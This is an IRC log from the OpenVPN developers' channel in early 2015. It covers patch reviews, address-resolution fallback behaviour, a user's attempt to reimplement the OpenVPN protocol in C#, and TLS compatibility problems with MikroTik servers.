krzee: so what would be the best way to connect to another IP address? Since gai() randomizing was removed I'm not sure it should be added back 04:26 < lev__> another -> another random 04:35 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 04:38 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:39 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:04 <@cron2> lev__: we're definitely not bringing it back, as it interferes with gai() address ordering, which is set by system policy to actually take into account multiple IPv6 subnets with different priorities, etc. 05:05 <@cron2> and, on cue, plaisthos is back :) 07:25 <@plaisthos> lev__: pong 07:26 <@plaisthos> what cron2 said 07:26 <@plaisthos> the address randominisation breaks the gai ordering 07:26 <@plaisthos> Iirc I also mentioned the rfc there 07:44 <@cron2> there was another point about openvpn not falling over to the next --remote after "hard errors" (sendmsg() -> "no route to host") 07:53 <@plaisthos> there was the point that openvpn does only pick *one* of the returned addresses 07:53 <@plaisthos> and not trying any other 07:53 <@plaisthos> 2.3 only tries the first address returned 09:49 -!- dazo_afk is now known as dazo 09:50 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 10:12 -!- dazo is now known as dazo_afk 10:13 -!- dazo_afk is now known as dazo 12:03 -!- mattock is now known as mattock_afk 12:36 < n13l> dazo: hallo :) here ? 12:47 <@dazo> n13l: hey! I am :) 12:54 < n13l> dazo: still remember my EKM patch ? :-) i would like to update last patch to actual master if you got some time to ack that 12:55 < n13l> dazo: http://sourceforge.net/p/openvpn/mailman/message/32765743/ 12:55 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 12:58 <@dazo> n13l: right! ... Oh, I need to recapture things ... was this waiting for a review from us? 12:58 <@dazo> since December, I've just been mostly "unavailable" ... so I know I've dropped many balls headed my direction 12:59 < n13l> dazo: i think that you just didnt review last changes related to yours comments 12:59 < n13l> dazo: i have been also "unavailable" for few months :| 13:02 <@dazo> n13l: Since this is crypto related, I'd like syzzer to eye-ball it once more (he's our crypto guy :)) ... since it's a long time since we looked at it. And I promise I'll look at it very soon myself too :) 13:04 <@dazo> n13l: I see you tested openssl 1.0.0m as the oldest one. That was because openssl before 1.0.0 is missing some support, right? 13:04 < n13l> dazo: aah if i remember well sizzer just forwared me too you :) 13:04 <@dazo> yeah, I usually take the plug-in stuff and other more generic code stuff 13:04 < n13l> dazo: exactly and i added some dummy code for polarSSL builds 13:05 <@dazo> right! okay, then I'll do some builds on different RHEL+Fedora versions and see how nicely it can explode :) 13:05 < n13l> dazo: i also made tests on some old openssl rhel5 if i remember well 13:06 <@dazo> cool! 13:06 <@dazo> then this should be fairly fine :) 13:06 < n13l> if you need anything i can help whisper me :) 13:07 <@dazo> will do :) 13:08 < n13l> thx you very much for your time and lookin forward for the next collaboration :) 13:09 < n13l> if you will be interested i can demonstrace some existing use-cases on top of EKM ! :) 13:11 <@dazo> That'd be cool ... I know I had a discussion with another guy regarding side-channel authentication at devconf.cz a couple of weeks ago, and I know he approached me about the same time as you with this patch ... so I actually do mix yours and his approach somewhat 13:11 <@dazo> The features are were related, but not overlapping, iirc 13:12 <@dazo> (he and you started these discussions last summer - or thereabout, that's what I meant) 13:15 < n13l> Ahh well maybe it's pitty i didnt attend devconf.cz here in czech republic :) 13:15 <@dazo> oh, you should have ;-) 13:16 <@dazo> It has developed to become a really good conference ... so next year, you should come! ;-) 13:17 < n13l> Sounds good :) 13:22 * dazo just read through the git log to catch up .... and he is very happy about the nice and descriptive messages :) 13:25 < n13l> :) 13:26 < n13l> ... working with git always make me happy :-) 13:26 <@dazo> ;-) 13:31 <@dazo> n13l: any chance you could do a rebase of your patch to the latest master and I'll try to kick off some Fedora builds very soonish today ... maybe I can trick our build systems at work for RHEL{5,6,7} builds too 13:33 < n13l> dazo: Sure, I bealive I can prepare rebase of my patch tomorrow 13:33 <@dazo> fair enough 13:34 <@dazo> I get two rejects when applying it on top of master, and the rest is mostly offsite ±3 lines 13:34 <@dazo> the rejects are on options.[ch] and both are the +#if defined(ENABLE_CRYPTO_OPENSSL) && OPENSSL_VERSION_NUMBER >= 0x10001000 blocks 13:34 < n13l> btw RHEL5 with 0.9.8 were tested as I can see that in my log files 13:35 <@dazo> perfect! 13:35 <@dazo> I remember testing the functionality of the patch, but I'll re-test that on my system ... and if builds goes without complaining, I think we're ready to accept it 13:35 < n13l> perfect 14:40 -!- dazo is now known as dazo_afk 16:43 -!- Tander1gi [Tander1gi@gateway/vpn/mullvad/x-uklvbdqyqcxdiotu] has quit [Remote host closed the connection] --- Day changed Sat Feb 21 2015 01:01 -!- mattock_afk is now known as mattock 04:02 -!- mattock is now known as mattock_afk 17:31 <@vpnHelper> RSS Update - tickets: #517: Natural Body Building Supplements & Green Coffee Diet And Stair Lifts For Old People <https://community.openvpn.net/openvpn/ticket/517> 17:37 <@vpnHelper> RSS Update - tickets: #517: spam <https://community.openvpn.net/openvpn/ticket/517> --- Day changed Sun Feb 22 2015 09:24 -!- Netsplit *.net <-> *.split quits: Haigha 09:26 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 09:36 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 265 seconds] 09:44 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:44 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:32 <@vpnHelper> RSS Update - gitrepo: Use tls-auth in sample config files <https://github.com/OpenVPN/openvpn/commit/513eef4884c9be1fd31ba676dfe34d91a4ce6141> 13:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 13:54 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 13:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 13:55 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 14:01 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:08 <@vpnHelper> RSS Update - tickets: #518: Buying Cheap Gedumoxin And Rexitamol Diet Food Online <https://community.openvpn.net/openvpn/ticket/518> 21:13 < esde> yummy psam 21:13 < esde> *spam 21:14 <@vpnHelper> RSS Update - tickets: #518: spam <https://community.openvpn.net/openvpn/ticket/518> --- Day changed Mon Feb 23 2015 02:10 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:15 -!- mattock_afk is now known as mattock 02:52 < lev__> plaisthos, cron2: got it that gai() randomization is bad and it has been removed for good. There is another thing - when gai returns ipv4 and ipv6 addresses and ipv4 is down, OpenVPN switches to ipv6. If machine does not have ipv6, OpenVPN still waits 60 seconds 02:53 < lev__> it is reproducible with (more or less latest) master 02:55 < lev__> I think it should not wait that long if machine does not have ipv6 02:55 <@cron2> is this udp or tcp? 02:55 < lev__> udp 02:57 < lev__> there are few "write UDP: Network is unreachable (code=101)" during that minute and then "TLS key negotiation failed to occur" 02:58 < lev__> I'd dive in that code more and maybe fix it by checking error code and switching to the next remote 03:04 <@plaisthos> lev__: beware that -master and 2.3 differ a lot in these code paths 03:05 <@plaisthos> also I do not know of a way to check if a protocol is available or not 03:19 <@cron2> sendmsg() giving certain errors should be strong indication (as sendmsg() will not know about 'remote' problems) 03:20 <@plaisthos> yes 03:20 <@plaisthos> we could change that 03:21 <@plaisthos> but is no route to host temporary or permanent? 04:01 <@cron2> "yes" :) - it could be transient, but I would guess that most of the time it's not going to improve in the next 60 seconds 04:02 * cron2 wonders if we could change the connect loop for UDP sessions to try all destination addresses (for a given --remote) in quick round robin fashion - like "after 3 seconds, try next address, but keep rotating for 60 seconds in total, then go to next --remote". Or so. Dunno, just thinking loud. 04:02 <@cron2> ("we" obviously being "plaisthos" *duck&run*) 04:26 < lev__> seems that throwing SIGUSR1 in the end of process_outgoing_link if errno is ENETUNREACH does the trick 08:32 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: The only time the word "incorrectly" isn't spelled incorrectly is when it's spelled incorrectly.] 08:35 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:58 <@plaisthos> seems like I started a bikeshed discussion 09:49 <@cron2> indeed, but I like the way it is quite constructive - nobody yelling "you have no idea! this is all wrong!" yet... 10:21 <@dazo> cron2: syzzer also understand this keying material exporter patch ;-) 10:31 -!- mattock is now known as mattock_afk 11:11 < n13l> dazo: hallo, sorry for the delay i wasnt next to pc during weekend coz of girlfriend issues :) 11:12 <@syzzer> dazo: yes, though I haven't looked at the recent versions of the patch yet 11:12 <@syzzer> on my list... 11:18 <@dazo> syzzer: shouldn't be any big surprises ... just have an extra look, to be on the safe side 11:19 <@dazo> n13l: no prob ... saw my mail to the ML? regarding demo plug-ins/tools and docs? 11:40 < n13l> dazo: i just thinkin about some simple tool/demo related to EKM because my existing open-sourced use-case is quite large 11:40 <@dazo> n13l: yeah, that's what I "feared" :) But just something really simple to demonstrate the idea would be great 11:47 < n13l> dazo: ok i will think about it a bit more and I will let you know. :) 11:47 <@dazo> thx! 11:48 < n13l> but i think that i can start with writing few lines about two general use cases related to side channel authentication and/or authentication of upper layers on top of (D)TLS/VPN 11:49 < n13l> small functional use case is problematic because you need some real upper layer or some kind of existing secured (confidental ) channel 11:53 <@dazo> n13l: yeah ... but some good docs on how to achieve that seems to be needed to convince cron2 12:03 <@cron2> good docs (for people that do not have deep crypto insights) are good enough if samples are too complicated 12:09 < n13l> i developed existin fully functional openvpn plugin prototype (maybe soon improved to production quality) which is able to authenticate openvpn using generated qrcode on top of EKM mechanism instead of sending user sensitive data (like client certificates with private keys) using email and or username/passwords 12:10 < n13l> maybe should i add link to my github sources ?:) 12:12 < n13l> i will try to explain these 2 general mechanism and let's talk about that later if it's enough atleast for explanation 12:21 <@cron2> the github link won't hurt, but the documentation itself needs to be fairly standalone 12:24 < n13l> Oki, I will cut relevant fragments from https://github.com/n13l/openaaa/blob/master/doc/tls and will provide links for real EKM openvpn plugin 12:24 <@vpnHelper> Title: openaaa/tls at master · n13l/openaaa · GitHub (at github.com) 12:40 -!- mattock_afk is now known as mattock 12:51 -!- dazo is now known as dazo_afk 14:52 -!- mattock is now known as mattock_afk --- Day changed Tue Feb 24 2015 01:04 -!- mattock_afk is now known as mattock 02:29 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 02:30 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 05:48 -!- dazo_afk is now known as dazo 08:09 -!- txdv [~unreal@78-56-71-41.static.zebra.lt] has joined #openvpn-devel 09:42 < txdv> syzzer: if you have time could you help me figure out the openvpn protocol? 09:44 <@syzzer> txdv: I'm probably not the only one who can help you with that :) 09:45 <@syzzer> (and that's a good thing, because today I won't have time to help you :( ) 09:45 < txdv> Who has time, right 09:46 < txdv> i have been trying for 3 days and I still don't get it 09:48 < txdv> it just doesn't send anything back, I have tried the formatting in the security overview 09:49 < txdv> but its not clear cut since it incorporates immediately all possible serializations for udp tcp ssl and static key methods 09:53 <@plaisthos> txdv: try to add a lot of printfs to the openvpn code and increase log level to see why openvpn is dropping it 09:53 <@plaisthos> or step through openvpn from recv with a debugger 09:56 < txdv> well i am connecting to a public vpn server 09:56 < txdv> so i cant really step through the recv 09:56 < txdv> im already trying to figure out what openvpn sends to the server 09:58 <@plaisthos> txdv: maybe you should first try against a private openvpn server to be able to step through it and see log messags 09:59 < txdv> setting that thing up is difficult 09:59 < txdv> but yeah maybe i should do that 10:05 < txdv> lol 10:06 < txdv> figured it out 10:25 -!- Tander1gi [Tander1gi@gateway/vpn/mullvad/x-pjkumjrdxlywmdtk] has joined #openvpn-devel 10:37 < txdv> the documentation is nothing like what is happening in reality 10:37 < txdv> :/ 10:57 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 252 seconds] 11:09 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 11:27 < txdv> there is no way to understand the code 11:48 <@dazo> stop wining ... roughly ±70 patch contributors will disagree with you ... if it wasn't possible we wouldn't have that many contributors 11:51 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 272 seconds] 11:55 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 12:34 <@plaisthos> OpenVPN is not the easiest to understand but it is quite normal for a C project that size 12:34 <@plaisthos> and age 12:35 <@plaisthos> txdv: the security overview is not a complete documentation but iirc it is accurate 14:11 -!- dazo is now known as dazo_afk 19:12 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:12 -!- mode/#openvpn-devel [+o andj__] by ChanServ 19:14 -!- Netsplit *.net <-> *.split quits: EvilJStoker, _bt 19:16 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 19:16 -!- andj__ is now known as andj 19:24 -!- Netsplit over, joins: EvilJStoker, _bt 19:24 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Max SendQ exceeded] 19:24 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 19:37 -!- Netsplit *.net <-> *.split quits: @plaisthos, @pekster, n13l, +roentgen, _bt, EvilJStoker, ender|, shivanshu 19:37 -!- Netsplit *.net <-> *.split quits: reators, @raidz, +krzee, txdv, @syzzer, esde, @dazo_afk, @vpnHelper, Haigha, floppym, (+2 more, use /NETSPLIT to show all of them) 19:37 -!- Netsplit *.net <-> *.split quits: luckman212, Tander1gi, Hes, @andj, @cron2 19:52 -!- Netsplit over, joins: EvilJStoker, _bt, @andj, ender|, Tander1gi, txdv, floppym, reators, +krzee, @plaisthos (+15 more) 19:52 -!- riddle [riddle@us.yunix.net] has quit [Max SendQ exceeded] 19:56 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 21:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 21:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 21:32 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Wed Feb 25 2015 02:54 < txdv> plaisthos: the documention has similarities, but only partially 02:54 < txdv> its super confusing when you read one thing and then the protocol ends up being something totally different 02:54 < txdv> maybe it is just the opengate vpn servers that I am using but I don't believe that 02:56 < txdv> vpngate* 02:56 < txdv> dazo_afk: its super fustrating 02:57 < txdv> I read the code and its really not obvious where the serialization happens of the objects 02:57 < txdv> i just cant find it 03:03 < txdv> dazo_afk: if it is not that hard for you, you could point out where that process happens 03:45 < txdv> asked on the forum but so far my thread wasn't even approved 03:50 <@cron2> we have objects that we serialize? *look in astonishment* 04:03 < txdv> well somewhere something gets written to a buffer 04:04 < txdv> however you put it, it is some sort of serialization 04:06 < txdv> cron2: making fun of me doesn't really help 04:07 <@cron2> well, OpenVPN is not object oriented, C is not object oriented, and we don't really have "Objects" - and if we put stuff in buffers, it's normally network packets, which are "serialized" to start with 04:08 <@cron2> I see this more as "wrapped in layers"... but I agree that the code is complex and not easy to understand (and I wouldn't claim to understand the TLS bits) 04:09 < txdv> there are tons of functions which have a prefix and have the same first argument 04:09 < txdv> buff_write buff_read 04:10 < txdv> these are like objects 04:19 <@cron2> well, you can look at it that way, but then, a buff is never "serialized" as it's a serial thing anyway - a buffer :) - sort of our serialization mechanism underneath 04:21 < txdv> whatever, you are right 04:22 < txdv> i dont really care, all i care about is for a correct protocol description 07:16 -!- dazo_afk is now known as dazo 08:19 <@plaisthos> txdv: well there is the security overview you already found 08:19 <@plaisthos> nothing more 08:19 <@plaisthos> the rest is in the source and the head of people 08:19 <@plaisthos> iirc there is also a wireshark dissector 08:20 <@plaisthos> You could however write down your finding about the protcol and contribute to the project 08:21 < txdv> Yeah 08:21 < txdv> that is what i am doing 08:36 < txdv> i need to post my findings somewhere to be able to discuss with people who are working on this project 08:36 < txdv> what place should i choose for this? 08:36 < txdv> it would be great if issues on github.com/openvpn/openvpn would be open 08:52 < txdv> ;/ 08:55 <@dazo> txdv: this channel is the right place for that discussion 08:56 <@dazo> cron2 and I have commit access to the git repos. syzzer, plaisthos, lev__ and more are people frequently submitting patches and doing code reviews as well 08:57 <@dazo> txdv: we use http://community.openvpn.net/openvpn/ticket/ for bug/ticket tracking 09:00 < txdv> ill add a page to the documentation, ok? 09:00 < txdv> right under Protocol Comaptibility 09:01 <@dazo> txdv: probably sounds like a good idea 09:05 < txdv> also can anyone compile from github master? 09:05 < txdv> when I try to 'autoconf' i get some error messages 09:05 < txdv> http://paste.ubuntu.com/10409403/ 09:09 < txdv> nevermind 09:17 < txdv> somehow the --verb doesn't work correctly 09:19 < txdv> i don't get this message https://github.com/OpenVPN/openvpn/blob/master/src/openvpn/socket.c#L2955d 09:19 <@vpnHelper> Title: openvpn/socket.c at master · OpenVPN/openvpn · GitHub (at github.com) 09:19 < txdv> even though I write --verb 11 09:19 < txdv> and according to errlevel.h D_STREAM_DEBUG is 9 10:18 < txdv> aah nice with the debug messages its easier to get an idea where what happens in the code 10:20 < txdv> at last 11:11 < txdv> the tls is not over the entire stream 11:11 < txdv> only over the a part of the packet 11:11 < txdv> the session id is in plain view, everyone can read it 11:13 < txdv> PROGRESS 12:14 <@pekster> If you didn't figure it out, verb levels above 5 are going to require a debug build (hence all the #ifdef DEBUG in the code.) If you set a verb above 6 you get a warning telling you so in the log on startup too 12:54 < txdv> i just commented the MSG_TEST out 12:54 < txdv> but thanks for the info 14:31 <@dazo> n13l: I've started poking at your patch ... generally looks good, nothing seems broken on our standard tests ... builds fine on F19 with both openssl and polarssl ... so except of some functionality testing (I'll get to that tomorrow I hope), more docs and hopefully some demo code ... and it's good to go from my point of view 14:36 -!- dazo is now known as dazo_afk 14:41 <@syzzer> I've been revisiting my AEAD code the past weeks, but some preliminary patches are still lingering on the list 14:41 <@syzzer> anyone, for example, interested in looking at this one? http://thread.gmane.org/gmane.network.openvpn.devel/8952 14:41 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 15:14 -!- mattock is now known as mattock_afk 15:45 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 15:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:47 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 15:50 <@cron2> is that just refactoring of the existing code? 15:51 <@cron2> even if the comment doesn't say so, the actual formula looks very much the same to me (unless my tiredness lets me overlook something) 15:53 <@cron2> interesting thread anyway, I didn't understand any of this frame_add_to_ stuff then :) 15:54 <@cron2> ah! there is the difference, "if cipher_kt_mode_cbc()". OK :) 16:43 <@syzzer> cron2: exactly :) 16:44 <@syzzer> I understand the frame calculation stuff much better now too, and I'm still convinced this patch is correct ;) 19:34 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 272 seconds] 19:34 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 250 seconds] 19:50 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 20:29 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 21:59 <@vpnHelper> RSS Update - tickets: #519: keysize config variable of 448 for BF algorithm not respected and utilized on either Android nor iOS <https://community.openvpn.net/openvpn/ticket/519> --- Day changed Thu Feb 26 2015 01:12 -!- mattock_afk is now known as mattock 01:45 -!- mattock is now known as mattock_afk 02:00 <@cron2> !routing 02:00 <@cron2> !route 02:00 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT or (#3) See !tcpip for more info about a more basic networking guide 02:00 <@cron2> !tcpip 02:00 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know 02:07 -!- mattock_afk is now known as mattock 04:09 * plaisthos has the feeling that #519 is OpenVPN Connect only 04:09 <@cron2> sounds like it, yes 04:19 <@plaisthos> the submitter filled also a bug against ics-openvpn 04:20 <@cron2> "while I'm at it..." 06:18 < txdv> dang it 06:18 < txdv> can't get the tls handshake rolling 06:18 < txdv> for some reason my runtime generates 6 bytes less in the initial handshake packet 06:38 -!- dazo_afk is now known as dazo 07:08 < txdv> how is it possible that it writes immediately 3 packets in the handshake 07:09 < txdv> without receiving anything back 07:09 < txdv> impossibru 07:16 < txdv> o nice 07:16 < txdv> ssl has client hello extensions 11:10 < txdv> can't get past the handshake of the secure socket 11:10 * txdv shakes fist 13:26 -!- mattock is now known as mattock_afk 13:36 -!- mattock_afk is now known as mattock 14:03 <@syzzer> txdv: what is it exactly that you are trying to achieve? 14:12 -!- Tander1gi [Tander1gi@gateway/vpn/mullvad/x-pjkumjrdxlywmdtk] has quit [Ping timeout: 252 seconds] 14:13 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 14:16 < txdv> syzzer: trying to write a lib in C# which communicates with openvpn 14:17 < txdv> a client library 14:17 <@syzzer> just for fun? or do have some other goal in mind? 14:19 < txdv> i want to use openvpn to create multiple vpn connections over different servers and then tunnel my sockets I desire 14:21 < txdv> i kinda figured the initiation process of openvpen out 14:22 < txdv> and i try to wrap the tls 'stream' and feed it to the mono implementation 14:22 < txdv> but i get just an error message then 14:23 < txdv> the openvpn client implementation sends its tls handshake in packets of =<100 14:23 < txdv> maybe that is a problem 14:28 < txdv> i just want to write a client library in c# 14:31 <@syzzer> well, as you're discovering 'just' writing a client library can be challenging :) 14:31 <@syzzer> did you look at the openvpn3 code base? that's C++, and written as a library 14:33 < txdv> no 14:33 < txdv> but ill take a look into that 14:33 <@syzzer> see http://staging.openvpn.net/openvpn3/ 14:33 <@vpnHelper> Title: OpenVPN 3 (at staging.openvpn.net) 14:33 < txdv> is that a branch or a different repo? 14:33 < txdv> is it on github? 14:34 <@syzzer> nope, still a 'private' project by James Yonan - that page has a snapshot from (quite) a while ago. 14:34 <@syzzer> but it might help you :) 14:45 -!- dazo is now known as dazo_afk 14:56 -!- mattock is now known as mattock_afk 15:19 < txdv> syzzer: i hope so 15:19 < txdv> staring at hash strings of what opevpn was sending made more sense than the C code 15:20 < txdv> the problem with the C code is that the logic is distributed all over the palace 16:04 <@cron2> syzzer: have you seen my comments from yesterday? 16:11 <@cron2> syzzer: I've now figured out the patch :-) - but I wonder if it has side effects for "normal" OpenVPN operation, read: a client with that patch talking to an unpatched server (or vice versa), --opt-verify being used, and OCC kicking out the client... --- Day changed Fri Feb 27 2015 01:09 -!- mattock_afk is now known as mattock 03:26 < txdv> syzzer: are you located in the us? 03:35 <@cron2> netherlands 03:38 < txdv> he answered so late I thought he might be in the US 03:39 <@cron2> evening spare time :) 07:09 <@syzzer> cron2: yes, that might actually be the case, but only for non-CBC ciphers 07:10 <@syzzer> and since we restored non-CBC functionality just recently, I think the impact is minimal 07:10 <@syzzer> (if there is anyone using OFB/CFB at all...) 07:20 <@cron2> syzzer: just to repeat it, so I'm sure I fully understand it. "Early 2.3.x" does not do non-CBC anyway (because non-default and broken), so the default settings would normally be CBC, and in that case, the result would be exactly the same as before? 08:44 <@syzzer> cron2: exactly 09:57 * cron2 goes merging :) 09:59 <@cron2> that patch is from *July* 2014... <:-o 10:23 <@vpnHelper> RSS Update - gitrepo: Fix frame size calculation for non-CBC modes. <https://github.com/OpenVPN/openvpn/commit/669f898b8fcaf7a8d43825fa0255c2791cc0ef89> 10:38 <@syzzer> wheee :) 11:04 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:11 < lev__> hey, if someone wants to review a (small) patch I've just send, here is github version: https://github.com/stipa/openvpn/commit/349d859e05e1df0ee5d260add6852ab8abd282b6 11:11 <@vpnHelper> Title: Notify clients about servers restart/shutdown · 349d859 · stipa/openvpn · GitHub (at github.com) 11:22 <@cron2> someone with autoconf experience really should look into the new "helpfulness" with "make check", where it does not report the output any longer - so I can see that a buildslave failed, but not *why*, without logging into the buildslave and searching for logs 11:23 * plaisthos has only bad autoconf experience *ducks* 11:23 <@cron2> lev__: what will a client do that does not understand OCC_SHUTTING_DOWN when receiving it? 11:25 <@plaisthos> btw. usr1 on a connected remote should trigger a reconnect on the same remote 11:25 <@plaisthos> since the no_continue_to_next_remote (or something similar) variable is set to true upon succesful connect 11:25 < lev__> cron2: nothing 11:26 <@plaisthos> Shouldn't this behaviour depend on explicit-exit-notify being set? 11:27 <@cron2> e-e-n is currently a client-side feature, but indeed, it makes sense to re-use this for the server 11:32 < lev__> plaisthos: it goes to the next address if remote resolves to multiple addresses, or to the next remote if remote resolves to single address 11:33 <@plaisthos> lev__: sure? 11:33 < lev__> cron2: so should I use e-e-n on the server for this feature? 11:35 <@cron2> lev__: I think this would be good, so there's no surprises for server operators that do not know about this feature (I'm not sure if there are any adverse side effects, but that way, we are sure there are none :) ) 11:35 <@plaisthos> next_connection_entry will check options.no_advance 11:35 <@plaisthos> and that is set to true, when succesfully establishing a server connection 11:35 <@cron2> lev__: and it might be interesting to have a client-only patch for 2.3 11:35 <@plaisthos> oh 11:36 <@cron2> (which ist totally different in the connection handling department) 11:36 <@plaisthos> and you are even explicitly setting that to false 11:37 < lev__> plaisthos: just double checked that it uses the same remote but next address 11:37 <@plaisthos> hm 11:37 <@plaisthos> that could be a bug of mine 11:38 <@plaisthos> does your remote have a+AAAA or multiple a addresses? 11:39 < lev__> it has multiple As and multiple AAAAs 11:39 <@plaisthos> ah :) 11:43 < lev__> I set no_advance to false and next_connection_entry uses current_remote->ai_next 13:17 <@plaisthos> but thats wrong 13:17 <@plaisthos> if you just restart the server you want your clients to reconnect again and not go to the backup server 14:00 <@plaisthos> it probably depends if you to signal "Please go away, take the next server" or "be right back" 14:01 < lev__> plaisthos: well in my case shutdown may take some time - there might be hundreds, client-disconnect updates radius statists for each 14:04 <@plaisthos> yeah 14:04 < lev__> I'm quite confident that 5 seconds (client reconnect timeout) won't be enough if server has fair amount of clients and radius accounting (or maybe some other scripts/plugins) 16:26 -!- mattock is now known as mattock_afk --- Day changed Sat Feb 28 2015 01:42 <@vpnHelper> RSS Update - tickets: #520: Benefits Of Laughter Yoga For Stress Relief <https://community.openvpn.net/openvpn/ticket/520> 04:33 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 07:01 < esde> more spam 10:11 -!- esde [~esde@openvpn/user/esde] has quit [Quit: .] 10:29 -!- Tander1gi [Tander1gi@gateway/vpn/mullvad/x-ezmndmmnffjqsxfn] has joined #openvpn-devel 11:42 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 11:51 -!- esde [~esde@openvpn/user/esde] has quit [Quit: .] 11:52 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 13:02 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 13:03 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:03 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:06 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Client Quit] 13:14 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:14 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Sun Mar 01 2015 01:15 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 01:26 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 03:06 -!- cagedwisdom [~X@124-170-138-222.dyn.iinet.net.au] has joined #openvpn-devel 03:09 -!- m-a [mandree@f048113111.adsl.alicedsl.de] has joined #openvpn-devel 03:15 -!- cagedwisdom [~X@124-170-138-222.dyn.iinet.net.au] has quit [Ping timeout: 252 seconds] 05:13 -!- mattock_afk is now known as mattock 05:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 13:36 <@plaisthos> so either disabling compression or upgrading to Android's OpenSSL 1.0.1l broke connection to Mikrotik OpenVPN 13:37 <@plaisthos> 2015-03-01 20:38:48 OpenSSL: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure 13:38 <@cron2> meh. what sort of mine field .( 13:39 <@plaisthos> tls-max-version 1.0 is the option downgrade, right? 13:39 <@cron2> yes 13:42 <@cron2> --tls-version-max 13:42 <@plaisthos> googling for mikrotek and openvpn openssl shows scary stuff 13:42 <@plaisthos> Some new Linux- distributions use OpenSSL 1.0 (like Fedora 13) which is incompatible with older versions and (currently) MikroTik, it won't recognize the certificates generated with that version. Use OpenSSL version 0.9.8 instead. 13:45 * cron2 wonders how to achieve that... 13:53 <@plaisthos> Yeah 15:56 -!- m-a [mandree@f048113111.adsl.alicedsl.de] has quit [Quit: Leaving.] 17:38 -!- Irssi: #openvpn-devel: Total of 26 nicks [9 ops, 0 halfops, 2 voices, 15 normal] 18:24 <@ecrist> who broken openvpn? 18:26 <@ecrist> just upgraded to 2.3.6 and when no --local is defined, openvpn on FreeBSD 10 seems to only listen to v6 18:28 <@ecrist> when I enter a v4 IP, I get the following 18:28 <@ecrist> Sun Mar 1 18:33:12 2015 us=478311 RESOLVE: Cannot resolve host address: 199.102.77.83: hostname nor servname provided, or not known 18:28 <@ecrist> Sun Mar 1 18:33:12 2015 us=478336 Exiting due to fatal error 18:37 <@ecrist> without local, openvpn does the right thing 18:37 <@ecrist> that error isn't good, though. --- Day changed Mon Mar 02 2015 01:48 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:09 <@plaisthos> ecrist: err, maybe me 02:09 <@plaisthos> 